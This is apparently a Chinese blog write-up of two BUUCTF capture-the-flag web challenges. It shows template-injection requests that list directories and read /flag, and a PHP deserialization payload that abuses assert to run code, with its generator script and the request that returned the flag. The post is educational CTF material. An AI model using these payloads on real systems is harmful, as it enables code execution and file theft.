BUUCTF-web-练习题:[NPUCTF2020]ReadlezPHP,[CISCN2019 华东南赛区]Web11

思路:但凡得到网页,抓取其中所有的js,a链接进行分析。

[CISCN2019 华东南赛区]Web11

原始信息

得到一个网站,看起来是提供前端的api接口的。
尝试访问提供的网址,都仅仅是得到了一个IP地址。
扫站是扫不出东西的,全部返还200状态码,无法甄别是否存在某文件。至于原因,就是你访问的任何东西都会变成一个特殊形式的页面返回值,大概如下:
而这种特殊的返回情况,给了我们测试的窗口。

解题

根据上面的情况进行测试:

GET /{{1+1+4}} HTTP/1.1

得到模板漏洞这个结论后,大胆的试着测试下php相关函数:

GET /{{var_dump(scandir('/'))}} HTTP/1.1

既然能读目录,那直接读取文件内容?

GET /{{file_get_contents('/flag')}} HTTP/1.1

这样就能读取到flag了。
这道题的限制很少,做起来很简单,只需要一点点的php基础而已。

[NPUCTF2020]ReadlezPHP

原始信息

题目信息大概是这样子的:
尝试寻找有用的信息(其实这里抓包也是可以看到这个链接的,相比之下更加快捷)
访问这个网址,得到源代码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]); `

解题

源码分析:

<?php
#error_reporting(0);
# 定义类
class HelloPhp
{
    public $a;
    public $b;
    # 初始化方法,初始化类内部变量
    # 即:创建即调用
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    
    # 销毁变量时将变量作为函数进行调用
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}

# 定义新类
$c = new HelloPhp;

# 一旦存在source变量就截断这个程序
if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

# 反序列化传入的data
@$ppp = unserialize($_GET["data"]); 

理论上来讲,只要前面构造函数名,后面构造被查询的字符串就能得到对应的结果,类似于下面这样:

include('flag.php')

但是,这个题目有一个隐形的坑,就是所有的函数禁用都写在php的配置文件当中,做题的人根本无法看到,只能自己一点点手测。
简单写个反序列化的脚本:

<?php
class HelloPhp
{
    public $a='phpinfo()';
    public $b='assert';
}
$c = new HelloPhp; 
echo(serialize($c));

# assert是system的替代品

把反序列化的脚本得到的结果放上去就能得到flag

get:http://xxx.xxx.xxx/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
return:(省略若干页面搜索)flag{de0a588b-c255-4b66-a7d1-5278825f706c} 

继续做题,继续加油!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

矢量克罗斯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值